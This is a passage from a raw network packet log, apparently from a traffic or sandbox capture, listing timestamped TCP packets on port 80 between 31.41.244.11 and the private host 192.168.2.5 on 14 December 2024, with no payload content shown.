Dec 14, 2024 14:56:30.652596951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.652637959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.653616905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.653664112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.653700113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.653744936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.654700994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.654746056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.654814005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.654858112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.655793905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.655811071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.655852079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.655852079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.656965017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.657008886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.657037973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.657074928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.658027887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.658076048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.658144951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.658190012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.659240961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.659295082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.659342051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.659444094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.660243988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.660305023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.660361052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.660439014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.661370039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.661427975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.661494017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.661533117 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.662482023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.662533045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.662592888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.662630081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.663618088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.663655996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.663789988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.663860083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.664791107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.664832115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.664865017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.664901018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.665844917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.665890932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.665915966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.665951967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.666960955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.667001963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.667030096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.667066097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.668096066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.668158054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.668241978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.668279886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.669147015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.669198990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.669256926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.669321060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.670269012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.670327902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.670389891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.670533895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.671411991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.671473026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.671547890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.671655893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.672502995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.672559023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.672661066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.672728062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.673630953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.673687935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.673713923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.673749924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.674813032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.674870968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.674892902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.674930096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.675859928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.675904989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.675965071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.676260948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.676965952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.677017927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.677077055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.677117109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.678066969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.678107977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.678117037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.678142071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.679258108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.679280043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.679296970 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.679316044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.680303097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.680339098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.680407047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.680444956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.681408882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.681468964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.681499004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.681535959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.682534933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.682584047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.682656050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.682691097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.683644056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.683680058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.683752060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.683933973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.684756041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.684789896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.684937954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.685015917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.685873985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.685909986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.685988903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.686022043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.686979055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.687020063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.687096119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.687165022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.688095093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.688134909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.688216925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.688456059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.689210892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.689249039 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.689265966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.689299107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.690320969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.690361023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.690443039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.690701008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.691448927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.691488028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.691555977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.691713095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.692543030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.692579031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.692650080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.692686081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.693650961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.693690062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.693763971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.693923950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.694787979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.694834948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.694895029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.694983959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.695919991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.695961952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.695964098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.695997000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.696999073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.697038889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.697092056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.697257042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.698115110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.698172092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.698205948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.698357105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.699224949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.699269056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.699326038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.699362040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.700380087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.700423956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.700453043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.700489044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.701442003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.701482058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.701587915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.701626062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.702625036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.702665091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.702691078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.702723026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.703699112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.703741074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.703792095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.703829050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.838253021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.838344097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.838526011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.838577032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.838607073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.838650942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.838680983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.838772058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.839710951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.839801073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.839822054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.839854956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.840888977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.840956926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.841166019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.841294050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.841309071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.841342926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.842906952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.842917919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.842964888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.843338966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.843386889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.843441010 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.844434023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.844489098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.844664097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.844712973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.846801996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.846846104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.847052097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.847089052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.847712994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.847749949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.847755909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.847790956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.848407984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.848447084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.848472118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.848509073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.849162102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.849179983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.849201918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.849220037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.849841118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.849878073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.849992990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.850029945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.850958109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.851003885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.851047039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.851087093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.852075100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.852112055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.852193117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.852247953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.853173018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.853209972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.853291035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.853327990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.854300976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.854381084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.854417086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.854455948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.855413914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.855520964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.855566025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.856621981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.856668949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.856698036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.856832027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.857630014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.857678890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.857733011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.857768059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.858771086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.858822107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.858916044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.858947992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.859853029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.859903097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.859965086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.860007048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.860958099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.861018896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.861051083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.861088991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.862088919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.862128973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.862190962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.862358093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.863203049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.863248110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.863306999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.863396883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.864423990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.864458084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.864481926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.864496946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.865525007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.865565062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.865628004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.865665913 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.866632938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.866668940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.866765022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.866799116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.867755890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.867794991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.867820978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.868093967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.868797064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.868830919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.868951082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.869060040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.869950056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.869986057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.870157957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.870193958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.871001005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.871045113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.871102095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.871138096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.872153997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.872199059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.872253895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.872387886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.873260975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.873306036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.873364925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.873476982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.874341965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.874383926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.874454021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.874506950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.875483036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.875516891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.875585079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.875622034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.876558065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.876595020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.876714945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.876800060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.877665043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.877701044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.878079891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.878115892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.878140926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.878177881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.879271984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.879333973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.879370928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:30.879497051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:30.880372047 CET	80	49876	31.41.244.11	192.168.2.5
